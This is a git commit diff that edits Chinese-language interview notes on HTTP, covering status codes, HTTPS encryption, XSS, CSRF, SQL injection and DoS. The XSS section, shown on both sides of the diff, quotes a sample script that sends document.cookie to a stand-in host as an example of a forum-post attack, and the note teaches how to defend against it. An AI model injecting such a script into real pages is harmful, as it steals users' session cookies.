auto commit

This commit is contained in:
CyC2018 2018-04-02 21:07:28 +08:00
parent 2010c76622
commit 8fac4c2110
4 changed files with 28 additions and 25 deletions

View File

@ -111,6 +111,7 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。 分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
## 工具 :hammer: ## 工具 :hammer:
> [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md) > [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md)

View File

@ -14,6 +14,7 @@
* [CONNECT](#connect) * [CONNECT](#connect)
* [TRACE](#trace) * [TRACE](#trace)
* [三、HTTP 状态码](#三http-状态码) * [三、HTTP 状态码](#三http-状态码)
* [1XX 信息](#1xx-信息)
* [2XX 成功](#2xx-成功) * [2XX 成功](#2xx-成功)
* [3XX 重定向](#3xx-重定向) * [3XX 重定向](#3xx-重定向)
* [4XX 客户端错误](#4xx-客户端错误) * [4XX 客户端错误](#4xx-客户端错误)
@ -195,7 +196,7 @@ CONNECT www.example.com:443 HTTP/1.1
| 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 | | 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 |
| 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 | | 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 |
### 1XX 信息 ## 1XX 信息
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。 - **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
@ -516,7 +517,7 @@ HTTP 有以下安全性问题:
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装; 2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
3. 无法证明报文的完整性,报文有可能遭篡改。 3. 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。 HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
通过使用 SSLHTTPs 具有了加密、认证和完整性保护。 通过使用 SSLHTTPs 具有了加密、认证和完整性保护。
@ -526,21 +527,21 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer
### 1. 对称密钥加密 ### 1. 对称密钥加密
Symmetric-Key Encryption加密的加密和解密使用同一密钥。 对称密钥加密(Symmetric-Key Encryption,加密的加密和解密使用同一密钥。
- 优点:运算速度快; - 优点:运算速度快;
- 缺点:密钥容易被获取。 - 缺点:密钥容易被获取。
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br> <div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
### 2. 公开密钥加密 ### 2. 公开密钥加密
Public-Key Encryption使用一对密钥用于加密和解密分别为公开密钥和私有密钥。公开密钥所有人都可以获得通信发送方获得接收方的公开密钥之后就可以使用公开密钥进行加密接收方收到通信内容后使用私有密钥解密。 公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
- 优点:更为安全; - 优点:更为安全;
- 缺点:运算速度慢; - 缺点:运算速度慢;
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br> <div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
### 3. HTTPs 采用的加密方式 ### 3. HTTPs 采用的加密方式
@ -584,13 +585,13 @@ SSL 提供报文摘要功能来验证完整性。
例如有一个论坛网站,攻击者可以在上面发表以下内容: 例如有一个论坛网站,攻击者可以在上面发表以下内容:
```html ```
<script>location.href="//domain.com/?c=" + document.cookie</script> <script>location.href="//domain.com/?c=" + document.cookie</script>
``` ```
之后该内容可能会被渲染成以下形式: 之后该内容可能会被渲染成以下形式:
```html ```
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p> <p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
``` ```
@ -659,7 +660,7 @@ HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪
(二)添加校验 Token (二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。 由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
## SQL 注入攻击 ## SQL 注入攻击
@ -715,9 +716,9 @@ strSQL = "SELECT * FROM users;"
### 1. 概念 ### 1. 概念
denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。 拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。 分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A) > [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
@ -725,7 +726,7 @@ strSQL = "SELECT * FROM users;"
## 参数 ## 参数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。 GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
@ -743,7 +744,7 @@ name1=value1&name2=value2
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。 安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
GET 方法是安全的,而 POST 却不是。 GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变
安全的方法除了 GET 之外还有HEAD、OPTIONS。 安全的方法除了 GET 之外还有HEAD、OPTIONS。
@ -751,9 +752,9 @@ GET 方法是安全的,而 POST 却不是。
## 幂等性 ## 幂等性
幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。 幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
GET /pageX HTTP/1.1是幂等的。连续调用多次,客户端接收到的结果都是一样的: GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
``` ```
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
@ -762,7 +763,7 @@ GET /pageX HTTP/1.1
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
``` ```
POST /add_row HTTP/1.1不是幂等的。如果调用多次,就会增加多行记录: POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
``` ```
POST /add_row HTTP/1.1 POST /add_row HTTP/1.1
@ -770,7 +771,7 @@ POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row POST /add_row HTTP/1.1 -> Adds a 3rd row
``` ```
DELETE /idX/delete HTTP/1.1是幂等的,即便是不同请求之间接收到的状态码不一样: DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
``` ```
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
@ -782,8 +783,8 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
如果要对响应进行缓存,需要满足以下条件: 如果要对响应进行缓存,需要满足以下条件:
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEADPUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。 1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD但是 PUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。
2. 响应报文的 状态码是可缓存的,包括: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。 2. 响应报文的状态码是可缓存的包括200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。 3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
## XMLHttpRequest ## XMLHttpRequest
@ -798,12 +799,12 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
## HTTP/1.0 与 HTTP/1.1 的区别 ## HTTP/1.0 与 HTTP/1.1 的区别
1. 持久连接 1. HTTP/1.1 默认是持久连接
2. 管线化处理 2. HTTP/1.1 支持管线化处理
3. 虚拟主机 3. HTTP/1.1 支持虚拟主机
4. 状态码 100 4. HTTP/1.1 新增状态码 100
5. 分块传输编码 5. HTTP/1.1 只是分块传输编码
6. 缓存处理字段 6. HTTP/1.1 新增缓存处理指令 max-age
具体内容见上文 具体内容见上文
@ -846,3 +847,4 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest) - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/) - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
- [Symmetric vs. Asymmetric Encryption What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB